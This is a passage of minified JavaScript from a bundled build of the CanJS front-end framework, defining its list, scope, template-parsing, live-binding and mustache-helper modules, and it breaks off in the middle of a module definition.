r&&(1===r.count?(r.count=0,r.compute.unbind("change",r.handler)):r.count--),i.unbind(this,e),t.unbindAndTeardown.apply(this,arguments)},compute:function(e){if(t.isFunction(this.constructor.prototype[e]))return t.compute(this[e],this);var i=t.compute.read.reads(e),n=i.length-1;return t.compute(function(e){return arguments.length?void t.compute.read(this,i.slice(0,n)).value.attr(i[n].key,e):t.compute.read(this,i,{args:[]}).value},this)},each:function(){return t.each.apply(void 0,[this].concat(t.makeArray(arguments)))},_each:function(t){var e=this.___get();for(var i in e)e.hasOwnProperty(i)&&t(e[i],i)},dispatch:t.dispatch});return s.prototype.on=s.prototype.bind,s.prototype.off=s.prototype.unbind,s.on=s.bind,s.off=s.unbind,s}); /*can/list/list*/ define("can/list/list",["can/util/util","can/map/map","can/map/bubble","can/map/map_helpers"],function(t,e,i,r){var s=[].splice,n=function(){var t={0:"a",length:1};return s.call(t,0,1),!t[0]}(),h=e.extend({Map:e},{setup:function(e,i){this.length=0,t.cid(this,".map"),this._setupComputedProperties(),e=e||[];var s;t.isPromise(e)?this.replace(e):(s=e.length&&r.addToMap(e,this),this.push.apply(this,t.makeArray(e||[]))),s&&s(),t.simpleExtend(this,i)},_triggerChange:function(i,r,s,n){e.prototype._triggerChange.apply(this,arguments);var h=+i;~(""+i).indexOf(".")||isNaN(h)||("add"===r?(t.batch.trigger(this,r,[s,h]),t.batch.trigger(this,"length",[this.length])):"remove"===r?(t.batch.trigger(this,r,[n,h]),t.batch.trigger(this,"length",[this.length])):t.batch.trigger(this,r,[s,h]))},___get:function(t){if(t){var e=this._computedAttrs[t];return e&&e.compute?e.compute():this[t]}return this},__set:function(e,i,r){if(e=isNaN(+e)||e%1?e:+e,"number"==typeof e&&e>this.length-1){var s=new Array(e+1-this.length);return s[s.length-1]=i,this.push.apply(this,s),s}return t.Map.prototype.__set.call(this,""+e,i,r)},___set:function(t,e){this[t]=e,+t>=this.length&&(this.length=+t+1)},__remove:function(t,e){isNaN(+t)?(delete this[t],this._triggerChange(t,"remove",void 0,e)):this.splice(t,1)},_each:function(t){for(var e=this.___get(),i=0;i<e.length;i++)t(e[i],i)},serialize:function(){return r.serialize(this,"serialize",[])},splice:function(e,r){var h,a,o,c=t.makeArray(arguments),l=[],u=c.length>2;for(e=e||0,h=0,a=c.length-2;a>h;h++)o=h+2,c[o]=this.__type(c[o],o),l.push(c[o]),this[h+e]!==c[o]&&(u=!1);if(u&&this.length<=l.length)return l;void 0===r&&(r=c[1]=this.length-e);var p=s.apply(this,c);if(!n)for(h=this.length;h<p.length+this.length;h++)delete this[h];return t.batch.start(),r>0&&(i.removeMany(this,p),this._triggerChange(""+e,"remove",void 0,p)),c.length>2&&(i.addMany(this,l),this._triggerChange(""+e,"add",l,p)),t.batch.stop(),p},_getAttrs:function(){return r.serialize(this,"attr",[])},_setAttrs:function(e,i){e=t.makeArray(e),t.batch.start(),this._updateAttrs(e,i),t.batch.stop()},_updateAttrs:function(e,i){for(var s=Math.min(e.length,this.length),n=0;s>n;n++){var h=this[n],a=e[n];t.isMapLike(h)&&r.canMakeObserve(a)?h.attr(a,i):h!==a&&this._set(n+"",a)}e.length>this.length?this.push.apply(this,e.slice(this.length)):e.length<this.length&&i&&this.splice(e.length)}}),a=function(e){return e[0]&&t.isArray(e[0])?e[0]:t.makeArray(e)};return t.each({push:"length",unshift:0},function(e,r){var s=[][r];h.prototype[r]=function(){t.batch.start();for(var r,n,h=[],a=e?this.length:0,o=arguments.length;o--;)n=arguments[o],h[o]=i.set(this,o,this.__type(n,o));return r=s.apply(this,h),(!this.comparator||h.length)&&this._triggerChange(""+a,"add",h,void 0),t.batch.stop(),r}}),t.each({pop:"length",shift:0},function(e,r){h.prototype[r]=function(){if(!this.length)return void 0;var s=a(arguments),n=e&&this.length?this.length-1:0,h=[][r].apply(this,s);return t.batch.start(),this._triggerChange(""+n,"remove",void 0,[h]),h&&h.unbind&&i.remove(this,h),t.batch.stop(),h}}),t.extend(h.prototype,{indexOf:function(e,i){return t.__observe(this,"length"),t.inArray(e,this,i)},join:function(){return t.__observe(this,"length"),[].join.apply(this,arguments)},reverse:function(){var e=[].reverse.call(t.makeArray(this));return this.replace(e)},slice:function(){t.__observe(this,"length");var e=Array.prototype.slice.apply(this,arguments);return new this.constructor(e)},concat:function(){var e=[];return t.each(t.makeArray(arguments),function(i,r){e[r]=i instanceof t.List?i.serialize():i}),new this.constructor(Array.prototype.concat.apply(this.serialize(),e))},forEach:function(e,i){return t.each(this,e,i||this)},replace:function(e){if(t.isPromise(e)){this._promise&&(this._promise.__isCurrentPromise=!1);var i=this._promise=e;i.__isCurrentPromise=!0;var r=this;e.then(function(t){i.__isCurrentPromise&&r.replace(t)})}else this.splice.apply(this,[0,this.length].concat(t.makeArray(e||[])));return this},filter:function(t,e){var i,r=new this.constructor,s=this;return this.each(function(n,h,a){i=t.call(e|s,n,h,s),i&&r.push(n)}),r},map:function(e,i){var r=new t.List,s=this;return this.each(function(t,n,h){var a=e.call(i|s,t,n,s);r.push(a)}),r}}),t.List=e.List=h,t.List}); /*can/view/scope/scope*/ define("can/view/scope/scope",["can/util/util","can/view/scope/compute_data","can/construct/construct","can/map/map","can/list/list","can/view/view","can/compute/compute"],function(t,e){function n(t,e,n){this._context=t,this._parent=e,this._meta=n||{},this.__cache={}}function r(t,e,r){t.helpers||t.partials||t.tags||(t={helpers:t}),n.call(this,t,e,r)}return t.simpleExtend(n,{read:t.compute.read,Refs:t.Map.extend({shortName:"ReferenceMap"},{}),refsScope:function(){return new t.view.Scope(new this.Refs)}}),t.simpleExtend(n.prototype,{add:function(t,e){return t!==this._context?new this.constructor(t,this,e):this},read:function(e,n){if("%root"===e)return{value:this.getRoot()};var r="./"===e.substr(0,2),s="../"===e.substr(0,3),o="."===e||"this"===e,i=".."===e,a=r||s||o||i;if(a&&this._meta.notContext)return this._parent.read(e,n);var u;if(r)u=!0,e=e.substr(2);else{if(s){for(var c=this._parent;c._meta.notContext;)c=c._parent;return c.read(e.substr(3)||".",n)}if(o)return{value:this._context};if(i)return{value:this._parent._context}}var f=t.compute.read.reads(e);return"*"===f[0].key.charAt(0)?this.getRefs()._read(f,n,!0):this._read(f,n,u)},_read:function(e,n,r){for(var s,o,i,a,u,c=this,f=[],p=-1,h=t.simpleExtend({foundObservable:function(t,n){o=t,i=e.slice(n)},earlyExit:function(t,e){e>p&&(u=o,a=i,p=e)}},n);c;){if(s=c._context,null!==s&&("object"==typeof s||"function"==typeof s)){var _=t.__trapObserves(),l=t.compute.read(s,e,h),v=_();if(void 0!==l.value)return t.__observes(v),{scope:c,rootObserve:o,value:l.value,reads:i};f.push.apply(f,v)}c=r?null:c._parent}return t.__observes(f),{setRoot:u,reads:a,value:void 0}},get:t.__notObserve(function(e,n){n=t.simpleExtend({isArgument:!0},n);var r=this.read(e,n);return r.value}),getScope:function(t){for(var e=this;e;){if(t(e))return e;e=e._parent}},getContext:function(t){var e=this.getScope(t);return e&&e._context},getRefs:function(){return this.getScope(function(t){return t._context instanceof n.Refs})},getRoot:function(){for(var t=this,e=this;t._parent;)e=t,t=t._parent;return t._context instanceof n.Refs&&(t=e),t._context},set:function(e,n,r){var s,o,i=e.lastIndexOf("."),a=e.lastIndexOf("/");if(a>i?(s=e.substring(0,a),o=e.substring(a+1,e.length)):-1!==i?(s=e.substring(0,i),o=e.substring(i+1,e.length)):(s=".",o=e),"*"===e.charAt(0))t.compute.set(this.getRefs()._context,e,n,r);else{var u=this.read(s,r).value;t.compute.set(u,o,n,r)}},attr:t.__notObserve(function(e,n,r){return r=t.simpleExtend({isArgument:!0},r),2===arguments.length?this.set(e,n,r):this.get(e,r)}),computeData:function(t,n){return e(this,t,n)},compute:function(t,e){return this.computeData(t,e).compute},cloneFromRef:function(){for(var e,r,s=[],o=this;o;){if(e=o._context,e instanceof n.Refs){r=o._parent;break}s.unshift(e),o=o._parent}return r?(t.each(s,function(t){r=r.add(t)}),r):this}}),t.view.Scope=n,r.prototype=new n,r.prototype.constructor=r,t.view.Options=r,n}); /*can/view/stache/utils*/ define("can/view/stache/utils",["can/util/util","can/view/scope/scope"],function(can){var Options=can.view.Options;return{isArrayLike:function(n){return n&&n.splice&&"number"==typeof n.length},isObserveLike:function(n){return n instanceof can.Map||n&&!!n._get},emptyHandler:function(){},jsonParse:function(str){return"'"===str[0]?str.substr(1,str.length-2):"undefined"===str?void 0:can.global.JSON?JSON.parse(str):eval("("+str+")")},mixins:{last:function(){return this.stack[this.stack.length-1]},add:function(n){this.last().add(n)},subSectionDepth:function(){return this.stack.length-1}},convertToScopes:function(n,e,t,r,i,s,o){i&&(n.fn=this.makeRendererConvertScopes(i,e,t,r,o)),s&&(n.inverse=this.makeRendererConvertScopes(s,e,t,r,o))},makeRendererConvertScopes:function(n,e,t,r,i){var s=function(t,r,i){return n(t||e,r,i)},o=function(n,i,o){void 0===n||n instanceof can.view.Scope||(n=e.add(n)),void 0===i||i instanceof Options||(i=t.add(i));var c=s(n,i||t,o||r);return c};return i?o:can.__notObserve(o)},Options:Options}}); /*can/view/node_lists/node_lists*/ define("can/view/node_lists/node_lists",["can/util/util","can/view/elements"],function(e){var n=!0;try{document.createTextNode("")._=0}catch(r){n=!1}var t={},i={},a="ejs_"+Math.random(),s=0,u=function(e,r){var t=r||i,u=l(e,t);return u?u:n||3!==e.nodeType?(++s,e[a]=(e.nodeName?"element_":"obj_")+s):(++s,t["text_"+s]=e,"text_"+s)},l=function(e,r){if(n||3!==e.nodeType)return e[a];for(var t in r)if(r[t]===e)return t},p=[].splice,c=[].push,d=function(e){for(var n=0,r=0,t=e.length;t>r;r++){var i=e[r];i.nodeType?n++:n+=d(i)}return n},o=function(e,n){for(var r={},t=0,i=e.length;i>t;t++){var a=h.first(e[t]);r[u(a,n)]=e[t]}return r},f=function(e,n,r){for(var t in n)r[t]||e.newDeepChildren.push(n[t])},h={id:u,update:function(n,r){var t=h.unregisterChildren(n);r=e.makeArray(r);var i=n.length;return p.apply(n,[0,i].concat(r)),n.replacements?(h.nestReplacements(n),n.deepChildren=n.newDeepChildren,n.newDeepChildren=[]):h.nestList(n),t},nestReplacements:function(e){for(var n=0,r={},t=o(e.replacements,r),i=e.replacements.length,a={};n<e.length&&i;){var s=e[n],u=l(s,r),p=t[u];p&&(e.splice(n,d(p),p),a[u]=!0,i--),n++}i&&f(e,t,a),e.replacements=[]},nestList:function(e){for(var n=0;n<e.length;){var r=e[n],i=t[u(r)];i?i!==e&&e.splice(n,d(i),i):t[u(r)]=e,n++}},last:function(e){var n=e[e.length-1];return n.nodeType?n:h.last(n)},first:function(e){var n=e[0];return n.nodeType?n:h.first(n)},flatten:function(e){for(var n=[],r=0;r<e.length;r++){var t=e[r];t.nodeType?n.push(t):n.push.apply(n,h.flatten(t))}return n},register:function(n,r,t,i){return e.cid(n),n.unregistered=r,n.parentList=t,n.nesting=t&&"undefined"!=typeof t.nesting?t.nesting+1:0,t?(n.deepChildren=[],n.newDeepChildren=[],n.replacements=[],t!==!0&&(i?t.replacements.push(n):t.newDeepChildren.push(n))):h.nestList(n),n},unregisterChildren:function(n){var r=[];return e.each(n,function(e){e.nodeType?(n.replacements||delete t[u(e)],r.push(e)):c.apply(r,h.unregister(e,!0))}),e.each(n.deepChildren,function(e){h.unregister(e,!0)}),r},unregister:function(e,n){var r=h.unregisterChildren(e,!0);if(e.unregistered){var t=e.unregistered;if(e.replacements=e.unregistered=null,!n){var i=e.parentList&&e.parentList.deepChildren;if(i){var a=i.indexOf(e);-1!==a&&i.splice(a,1)}}t()}return r},nodeMap:t};return e.view.nodeLists=h,h}); /*can/view/parser/parser*/ define("can/view/parser/parser",[],function(){function t(t,e){for(var a=0;a<t.length;a++)e(t[a],a)}function e(e){var a={},r=e.split(",");return t(r,function(t){a[t]=!0}),a}function a(t,e){for(var a=0,r=t.length;r>a;a++){var n=t[a];e[n.tokenType].apply(e,n.args)}return t}var r="A-Za-z0-9",n="-:_"+r,o="[^=>\\s\\/]+",i="\\s*=\\s*",l="\\{[^\\}\\{]\\}",s="\\{\\{[^\\}]\\}\\}\\}?",u="(?:"+i+"(?:(?:"+s+")|(?:"+l+")|(?:\"[^\"]*\")|(?:'[^']*')|[^>\\s]+))?",f="\\{\\{[^\\}]*\\}\\}\\}?",c="\\{\\{([^\\}]*)\\}\\}\\}?",g=new RegExp("^<(["+r+"]["+n+"]*)((?:\\s*(?:(?:(?:"+o+")?"+u+")|(?:"+f+")+))*)\\s*(\\/?)>"),p=new RegExp("^<\\/(["+n+"]+)[^>]*>"),m=new RegExp(c,"g"),d=/<|\{\{/,h=/\s/,b=e("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed"),v=e("a,address,article,applet,aside,audio,blockquote,button,canvas,center,dd,del,dir,div,dl,dt,fieldset,figcaption,figure,footer,form,frameset,h1,h2,h3,h4,h5,h6,header,hgroup,hr,iframe,ins,isindex,li,map,menu,noframes,noscript,object,ol,output,p,pre,section,script,table,tbody,td,tfoot,th,thead,tr,ul,video"),S=e("a,abbr,acronym,applet,b,basefont,bdo,big,br,button,cite,code,del,dfn,em,font,i,iframe,img,input,ins,kbd,label,map,object,q,s,samp,script,select,small,span,strike,strong,sub,sup,textarea,tt,u,var"),k=e("altGlyph,altGlyphDef,altGlyphItem,animateColor,animateMotion,animateTransform,clipPath,feBlend,feColorMatrix,feComponentTransfer,feComposite,feConvolveMatrix,feDiffuseLighting,feDisplacementMap,feDistantLight,feFlood,feFuncA,feFuncB,feFuncG,feFuncR,feGaussianBlur,feImage,feMerge,feMergeNode,feMorphology,feOffset,fePointLight,feSpecularLighting,feSpotLight,feTile,feTurbulence,foreignObject,glyphRef,linearGradient,radialGradient,textPath"),F=e("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr"),y=e("script"),V="start,end,close,attrStart,attrEnd,attrValue,chars,comment,special,done".split(","),x=function(){},E=function(e,r,n){function o(t,e,a,n){if(e=k[e]?e:e.toLowerCase(),v[e]&&!S[e])for(var o=C.last();o&&S[o]&&!v[o];)i("",o),o=C.last();F[e]&&C.last()===e&&i("",e),n=b[e]||!!n,r.start(e,n),n||C.push(e),E.parseAttrs(a,r),r.end(e,n)}function i(t,e){var a;if(e)for(e=k[e]?e:e.toLowerCase(),a=C.length-1;a>=0&&C[a]!==e;a--);else a=0;if(a>=0){for(var n=C.length-1;n>=a;n--)r.close&&r.close(C[n]);C.length=a}}function l(t,e){r.special&&r.special(e)}if("object"==typeof e)return a(e,r);var s=[];r=r||{},n&&t(V,function(t){var e=r[t]||x;r[t]=function(){e.apply(this,arguments)!==!1&&s.push({tokenType:t,args:[].slice.call(arguments,0)})}});var u,f,c,h=function(){A&&r.chars&&r.chars(A),A=""},C=[],N=e,A="";for(C.last=function(){return this[this.length-1]};e;){if(f=!0,C.last()&&y[C.last()])e=e.replace(new RegExp("([\\s\\S]*?)</"+C.last()+"[^>]*>"),function(t,e){return e=e.replace(/<!--([\s\S]*?)-->|<!\[CDATA\[([\s\S]*?)]]>/g,"$1$2"),r.chars&&r.chars(e),""}),i("",C.last());else if(0===e.indexOf("<!--")?(u=e.indexOf("-->"),u>=0&&(h(),r.comment&&r.comment(e.substring(4,u)),e=e.substring(u+3),f=!1)):0===e.indexOf("</")?(c=e.match(p),c&&(h(),e=e.substring(c[0].length),c[0].replace(p,i),f=!1)):0===e.indexOf("<")?(c=e.match(g),c&&(h(),e=e.substring(c[0].length),c[0].replace(g,o),f=!1)):0===e.indexOf("{{")&&(c=e.match(m),c&&(h(),e=e.substring(c[0].length),c[0].replace(m,l))),f){u=e.search(d),0===u&&e===N&&(A+=e.charAt(0),e=e.substr(1),u=e.search(d));var q=0>u?e:e.substring(0,u);e=0>u?"":e.substring(u),q&&(A+=q)}if(e===N)throw new Error("Parse Error: "+e);N=e}return h(),i(),r.done(),s},C=function(t,e,a,r){t.attrStart=r.substring("number"==typeof t.nameStart?t.nameStart:e,e),a.attrStart(t.attrStart),t.inName=!1},N=function(t,e,a,r){void 0!==t.valueStart&&t.valueStart<e?a.attrValue(r.substring(t.valueStart,e)):!t.inValue,a.attrEnd(t.attrStart),t.attrStart=void 0,t.valueStart=void 0,t.inValue=!1,t.inName=!1,t.lookingForEq=!1,t.inQuote=!1,t.lookingForName=!0};return E.parseAttrs=function(t,e){if(t){for(var a,r=0,n={inDoubleCurly:!1,inName:!1,nameStart:void 0,inValue:!1,valueStart:void 0,inQuote:!1,attrStart:void 0,lookingForName:!0,lookingForValue:!1,lookingForEq:!1};r<t.length;){a=r;var o=t.charAt(r),i=t.charAt(r+1),l=t.charAt(r+2);if(r++,"{"===o&&"{"===i)n.inValue&&a>n.valueStart?e.attrValue(t.substring(n.valueStart,a)):n.inName&&n.nameStart<a?(C(n,a,e,t),N(n,a,e,t)):n.lookingForValue?n.inValue=!0:n.lookingForEq&&n.attrStart&&N(n,a,e,t),n.inDoubleCurly=!0,n.doubleCurlyStart=a+2,r++;else if(n.inDoubleCurly){if("}"===o&&"}"===i){var s="}"===l?1:0;e.special(t.substring(n.doubleCurlyStart,a)),n.inDoubleCurly=!1,n.inValue&&(n.valueStart=a+2+s),r+=1+s}}else n.inValue?n.inQuote?o===n.inQuote&&N(n,a,e,t):h.test(o)&&N(n,a,e,t):"="===o&&(n.lookingForEq||n.lookingForName||n.inName)?(n.attrStart||C(n,a,e,t),n.lookingForValue=!0,n.lookingForEq=!1,n.lookingForName=!1):n.inName?h.test(o)&&(C(n,a,e,t),n.lookingForEq=!0):n.lookingForName?h.test(o)||(n.attrStart&&N(n,a,e,t),n.nameStart=a,n.inName=!0):n.lookingForValue&&(h.test(o)||(n.lookingForValue=!1,n.inValue=!0,"'"===o||'"'===o?(n.inQuote=o,n.valueStart=a+1):n.valueStart=a))}n.inName?(C(n,a+1,e,t),N(n,a+1,e,t)):n.lookingForEq?N(n,a+1,e,t):n.inValue&&N(n,a+1,e,t)}},E}); /*can/util/array/diff*/ define("can/util/array/diff",[],function(){var e=[].slice;return function(n,t){for(var i=0,r=0,l=n.length,u=t.length,s=[];l>i&&u>r;){var d=n[i],f=t[r];if(d!==f)if(u>r+1&&t[r+1]===d)s.push({index:r,deleteCount:0,insert:[t[r]]}),i++,r+=2;else{if(!(l>i+1&&n[i+1]===f))return s.push({index:r,deleteCount:l-i,insert:e.call(t,r)}),s;s.push({index:r,deleteCount:1,insert:[]}),i+=2,r++}else i++,r++}return r===u&&i===l?s:(s.push({index:r,deleteCount:l-i,insert:e.call(t,r)}),s)}}); /*can/view/live/live*/ define("can/view/live/live",["can/util/util","can/view/elements","can/view/view","can/view/node_lists/node_lists","can/view/parser/parser","can/util/array/diff"],function(t,e,n,r,a,i){e=e||t.view.elements,r=r||t.view.NodeLists,a=a||t.view.parser;var o=function(e,n,r){var a=!1,i=function(){return a||(a=!0,r(o),t.unbind.call(e,"removed",i)),!0},o={teardownCheck:function(t){return t?!1:i()}};return t.bind.call(e,"removed",i),n(o),o},c=function(t){var e=t.childNodes;if("length"in e)return e;for(var n=t.firstChild,r=[];n;)r.push(n),n=n.nextSibling;return r},l=function(t,e,n){return o(t,function(){e.computeInstance.bind("change",n)},function(t){e.computeInstance.unbind("change",n),t.nodeList&&r.unregister(t.nodeList)})},u=function(t){var e,n={};return a.parseAttrs(t,{attrStart:function(t){n[t]="",e=t},attrValue:function(t){n[e]+=t},attrEnd:function(){}}),n},d=[].splice,s=function(t){return t&&t.nodeType},f=function(t){t.firstChild||t.appendChild(t.ownerDocument.createTextNode(""))},p=function(e){var n="string"==typeof e,r=t.frag(e);return n?t.view.hookup(r):r},v=function(e,n,a,i,o){var l=[];n&&(r.register(l,null,!0,!0),l.parentList=n,l.expression="#each SUBEXPRESSION");var u=a.apply(i,o.concat([l])),d=p(u),s=t.makeArray(c(d));return n?(r.update(l,s),e.push(l)):e.push(r.register(s)),d},h=function(e,n,a){var i=e.splice(n+1,a),o=[];return t.each(i,function(t){var e=r.unregister(t);[].push.apply(o,e)}),o},b=function(t,n,r,a){if(n&&0===t.length){var i=[],o=v(i,a,n,t,[t]);e.after([r[0]],o),r.push(i[0])}},g={},C={registerChildMutationCallback:function(t,e){return e?void(g[t]=e):g[t]},callChildMutationCallback:function(t){var e=t&&g[t.nodeName.toLowerCase()];e&&e(t)},list:function(n,a,c,l,u,s,f){var p,g=s||[n],m=[],k=!1,w=!1,N=function(n,a,i){if(k){var o=x.ownerDocument.createDocumentFragment(),u=[],f=[];t.each(a,function(e,n){var r=t.compute(n+i),a=v(u,s,c,l,[e,r]);o.appendChild(a),f.push(r)});var p=i+1;if(!m.length){var b=h(g,0,g.length-1);t.remove(t.$(b))}if(g[p]){var w=r.first(g[p]);t.insertBefore(w.parentNode,o,w)}else e.after(1===p?[x]:[r.last(g[p-1])],o);d.apply(g,[p,0].concat(u)),d.apply(m,[i,0].concat(f));for(var N=i+f.length,y=m.length;y>N;N++)m[N](N);n.callChildMutationCallback!==!1&&C.callChildMutationCallback(x.parentNode)}},y=function(t,e,n){A({},{length:1},n,!0),N({},[e],n)},A=function(e,n,a,i,o){if(k&&(i||!S.teardownCheck(x.parentNode))){0>a&&(a=m.length+a);var c=h(g,a,n.length);m.splice(a,n.length);for(var l=a,u=m.length;u>l;l++)m[l](l);o?r.unregister(g):(b(p,f,g,s),t.remove(t.$(c)),e.callChildMutationCallback!==!1&&C.callChildMutationCallback(x.parentNode))}},M=function(e,n,a,i){if(k){a+=1,i+=1;var o,c=g[a],l=t.frag(r.flatten(g[i]));o=a>i?r.last(c).nextSibling:r.first(c);var u=g[0].parentNode;u.insertBefore(l,o);var d=g[i];[].splice.apply(g,[i,1]),[].splice.apply(g,[a,0,d]),a-=1,i-=1;var s=m[i];[].splice.apply(m,[i,1]),[].splice.apply(m,[a,0,s]);var f=Math.min(i,a),p=m.length;for(p;p>f;f++)m[f](f);e.callChildMutationCallback!==!1&&C.callChildMutationCallback(x.parentNode)}},x=n.ownerDocument.createTextNode(""),_=function(t){p&&p.unbind&&p.unbind("add",N).unbind("set",y).unbind("remove",A).unbind("move",M),A({callChildMutationCallback:!!t},{length:g.length-1},0,!0,t)},P=function(e,n,r){if(!w){if(k=!0,n&&r){p=n||[];var a=i(r,n);r.unbind&&r.unbind("add",N).unbind("set",y).unbind("remove",A).unbind("move",M);for(var o=0,c=a.length;c>o;o++){var l=a[o];l.deleteCount&&A({callChildMutationCallback:!1},{length:l.deleteCount},l.index,!0),l.insert.length&&N({callChildMutationCallback:!1},l.insert,l.index)}}else r&&_(),p=n||[],N({callChildMutationCallback:!1},p,0),b(p,f,g,s);C.callChildMutationCallback(x.parentNode),k=!1,p.bind&&p.bind("add",N).bind("set",y).bind("remove",A).bind("move",M),t.batch.afterPreviousEvents(function(){k=!0})}};u=e.getParentNode(n,u);var S=o(u,function(){t.isFunction(a)&&a.bind("change",P)},function(){t.isFunction(a)&&a.unbind("change",P),_(!0)});s?(e.replace(g,x),r.update(g,[x]),s.unregistered=function(){S.teardownCheck(),w=!0}):C.replace(g,x,S.teardownCheck),P({},t.isFunction(a)?a():a)},html:function(n,a,i,o){var u;i=e.getParentNode(n,i),u=l(i,a,function(t,e,n){var a=r.first(d).parentNode;a&&p(e);var i=r.first(d).parentNode;u.teardownCheck(i),C.callChildMutationCallback(i)});var d=o||[n],p=function(n){var a="function"==typeof n,o=s(n),l=t.frag(a?"":n),u=t.makeArray(d);f(l),o||a||(l=t.view.hookup(l,i)),u=r.update(d,c(l)),a&&n(l.firstChild),e.replace(u,l)};u.nodeList=d,o?o.unregistered=u.teardownCheck:r.register(d,u.teardownCheck),p(a())},replace:function(n,a,i){var o=n.slice(0),l=t.frag(a);return r.register(n,i),"string"==typeof a&&(l=t.view.hookup(l,n[0].parentNode)),r.update(n,c(l)),e.replace(o,l),n},text:function(n,a,i,o){var c=e.getParentNode(n,i),u=l(c,a,function(e,n,r){"unknown"!=typeof d.nodeValue&&(d.nodeValue=t.view.toStr(n)),u.teardownCheck(d.parentNode)}),d=n.ownerDocument.createTextNode(t.view.toStr(a()));o?(o.unregistered=u.teardownCheck,u.nodeList=o,r.update(o,[d]),e.replace([n],d)):u.nodeList=C.replace([n],d,u.teardownCheck)},setAttributes:function(e,n){var r=u(n);for(var a in r)t.attr.set(e,a,r[a])},attributes:function(n,r,a){var i={},o=function(r){var a,o=u(r);for(a in o){var c=o[a],l=i[a];c!==l&&t.attr.set(n,a,c),delete i[a]}for(a in i)e.removeAttr(n,a);i=o};l(n,r,function(t,e){o(e)}),arguments.length>=3?i=u(a):o(r())},attributePlaceholder:"__!!__",attributeReplace:/__!!__/g,attribute:function(n,r,a){l(n,a,function(t,a){e.setAttr(n,r,c.render())});var i,o=t.$(n);i=t.data(o,"hooks"),i||t.data(o,"hooks",i={});var c,u=String(e.getAttr(n,r)),d=u.split(C.attributePlaceholder),s=[];s.push(d.shift(),d.join(C.attributePlaceholder)),i[r]?i[r].computes.push(a):i[r]={render:function(){var t=0,n=u?u.replace(C.attributeReplace,function(){return e.contentText(c.computes[t++]())}):e.contentText(c.computes[t++]());return n},computes:[a],batchNum:void 0},c=i[r],s.splice(1,0,a()),e.setAttr(n,r,s.join(""))},specialAttribute:function(t,n,r){l(t,r,function(r,a){e.setAttr(t,n,k(a))}),e.setAttr(t,n,k(r()))},simpleAttribute:function(t,n,r){l(t,r,function(r,a){e.setAttr(t,n,a)}),e.setAttr(t,n,r())}};C.attr=C.simpleAttribute,C.attrs=C.attributes,C.getAttributeParts=u;var m=/(\r|\n)+/g,k=function(t){var n=/^["'].*["']$/;return t=t.replace(e.attrReg,"").replace(m,""),n.test(t)?t.substr(1,t.length-2):t};return t.view.live=C,C}); /*can/view/stache/mustache_helpers*/ define("can/view/stache/mustache_helpers",["can/util/util","can/view/stache/utils","can/view/live/live"],function(e,n,t){t=t||e.view.live;var r=function(t){return n.isObserveLike(t)&&n.isArrayLike(t)&&t.attr("length")?t:e.isFunction(t)?t():t},i=function(e){var n={};for(var t in e){var r=e[t];r&&r.isComputed?n[t]=r():n[t]=r}return n},o=function(e){return e&&"function"==typeof e.fn&&"function"==typeof e.inverse},s={each:function(i,o){var s,u,a,c=r(i),f=[];if(c instanceof e.List&&!o.stringOnly)return function(n){var r=[n];r.expression="live.list",e.view.nodeLists.register(r,null,o.nodeList,!0),e.view.nodeLists.update(o.nodeList,[n]);var s=function(e,n,t){return o.fn(o.scope.add({"%index":n,"@index":n},{notContext:!0}).add(e),o.options,t)};t.list(n,i,s,o.context,n.parentNode,r,function(e,n){return o.inverse(o.scope.add(e),o.options,n)})};var l=c;if(l&&n.isArrayLike(l)){var d=l instanceof e.List;for(a=0;a<(d?l.attr("length"):l.length);a++){var p=d?l.attr(a):l[a];f.push(o.fn(o.scope.add({"%index":a,"@index":a},{notContext:!0}).add(p)))}}else if(n.isObserveLike(l))for(s=e.Map.keys(l),a=0;a<s.length;a++)u=s[a],f.push(o.fn(o.scope.add({"%key":u,"@key":u},{notContext:!0}).add(l[u])));else if(l instanceof Object)for(u in l)f.push(o.fn(o.scope.add({"%key":u,"@key":u},{notContext:!0}).add(l[u])));return o.stringOnly?f.join(""):f},"@index":function(n,t){t||(t=n,n=0);var r=t.scope.attr("@index");return""+((e.isFunction(r)?r():r)+n)},"if":function(n,t){var i;return i=e.isFunction(n)?e.compute.truthy(n)():!!r(n),i?t.fn(t.scope||this):t.inverse(t.scope||this)},is:function(){var n,t,i=arguments[arguments.length-1];if(arguments.length-2<=0)return i.inverse();var o=arguments,s=e.compute(function(){for(var i=0;i<o.length-1;i++){if(t=r(o[i]),t=e.isFunction(t)?t():t,i>0&&t!==n)return!1;n=t}return!0});return s()?i.fn():i.inverse()},eq:function(){return s.is.apply(this,arguments)},unless:function(n,t){return s["if"].apply(this,[n,e.extend({},t,{fn:t.inverse,inverse:t.fn})])},"with":function(e,n){var t=e;return e=r(e),e?n.fn(t):void 0},log:function(e,n){"undefined"!=typeof console&&console.log&&(n?console.log(e,n.context):console.log(e.context))},data:function(n){var t=2===arguments.length?this:arguments[1];return function(r){e.data(e.$(r),n,t||this.context)}},"switch":function(e,n){r(e);var t=!1,i=n.helpers.add({"case":function(n,i){return t||r(e)!==r(n)?void 0:(t=!0,i.fn(i.scope||this))},"default":function(e){return t?void 0:e.fn(e.scope||this)}});return n.fn(n.scope,i)},joinBase:function(n){var t=[].slice.call(arguments),i=t.pop(),o=e.map(t,function(n){var t=r(n);return e.isFunction(t)?t():t}).join(""),s=i.helpers.attr("helpers.module"),u=s?s.uri:void 0,a="."===o[0];if(a&&u)return e.joinURIs(u,o);var c=e.baseURL||"undefined"!=typeof System&&(System.renderingLoader&&System.renderingLoader.baseURL||System.baseURL)||location.pathname;return"/"!==o[0]&&"/"!==c[c.length-1]&&(c+="/"),e.joinURIs(c,o)},routeUrl:function(n,t){return n||(n={}),"function"==typeof n.fn&&"function"==typeof n.inverse&&(n=i(n.hash)),e.route.url(n,"boolean"==typeof t?t:void 0)},routeCurrent:function(n){var t=e.last(arguments),r=t&&o(t);return!t||!r||t.exprData instanceof e.expression.Call?e.route.current(o(n)?{}:n||{}):e.route.current(i(n.hash||{}))?n.fn():n.inverse()}};s.routeCurrent.callAsMethod=!0,s.eachOf=s.each;var u=function(e,n){s[e]=n};return{registerHelper:u,registerSimpleHelper:function(n,t){u(n,e.view.simpleHelper(t))},getHelper:function(e,n){var t=n&&n.get("helpers."+e,{proxyMethods:!1});return t||(t=s[e]),t?{fn:t}:void 0}}}); /*can/view/stache/expression*/ define("can/view/stache/expression",["can/util/util","can/view/stache/utils","can/view/stache/mustache_helpers","can/view/scope/scope"],function(t,e,r,n){var o=function(e,r,n){var o=r.computeData(e,n);return t.compute.temporarilyBind(o.compute),o},s=function(t,e,r,n){var 